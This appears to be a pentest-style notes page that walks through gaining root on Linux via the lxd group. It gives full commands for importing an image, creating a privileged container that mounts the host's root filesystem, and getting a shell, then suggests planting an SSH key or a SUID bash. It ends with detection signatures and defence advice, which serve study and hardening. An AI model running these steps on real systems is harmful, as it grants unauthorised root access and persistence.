the_open_door
coffee
ESEN
← Back to index

Privilege escalation through the lxd group

LXD is Ubuntu's system container manager. Its daemon runs as root and serves requests from any member of the lxd group without asking for a password. Since a privileged container can mount host directories, belonging to that group is equivalent to being root: there is no exploit here, only the tool's intended use.

The starting point is an id that includes the group:

id
# uid=1000(user) gid=1000(user) groups=1000(user),108(lxd)

A minimal image is needed inside the host. Build it on the attacking machine and upload it, or use one already present if there is one:

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine

On the victim, import the image and create the container with security.privileged=true, which is the key piece: without that option the container cannot touch the host's disk.

lxc image import ./alpine.tar.gz --alias alpine
lxc init alpine escalation -c security.privileged=true
lxc config device add escalation host-root disk source=/ path=/mnt/root recursive=true
lxc start escalation
lxc exec escalation /bin/sh

Inside the container we are root of the container, which is not much, but /mnt/root is the host's filesystem mounted writable. From there you read the flag, append a key to /mnt/root/root/.ssh/authorized_keys, or set the SUID bit on a copy of bash.

Nuances. The vector needs the LXD service initialised (lxd init); if a storage pool was never configured, lxc init fails and you have to create one first. On modern snap-based installs the group may still be called lxd while the socket lives elsewhere.

How to detect it. The signature is creating a container with security.privileged=true and a disk device mounting source=/ (the lxc config device add ... source=/ command itself lands in the lxd/snap.lxd.daemon journal). On the host, auditd/Sysmon for Linux see uid=0 processes under the lxd/lxc tree writing to /root/.ssh/authorized_keys or setting the SUID bit on bash, and an id of an lxd-group user who doesn't manage containers is already the deviation. Mounting the host root into a privileged container is the central indicator.

Defence. Do not put users in lxd unless they administer containers, and understand that the group is equivalent to root. Related to privileged groups; when the container is part of an orchestrator the vector moves elsewhere and becomes abusing the cluster.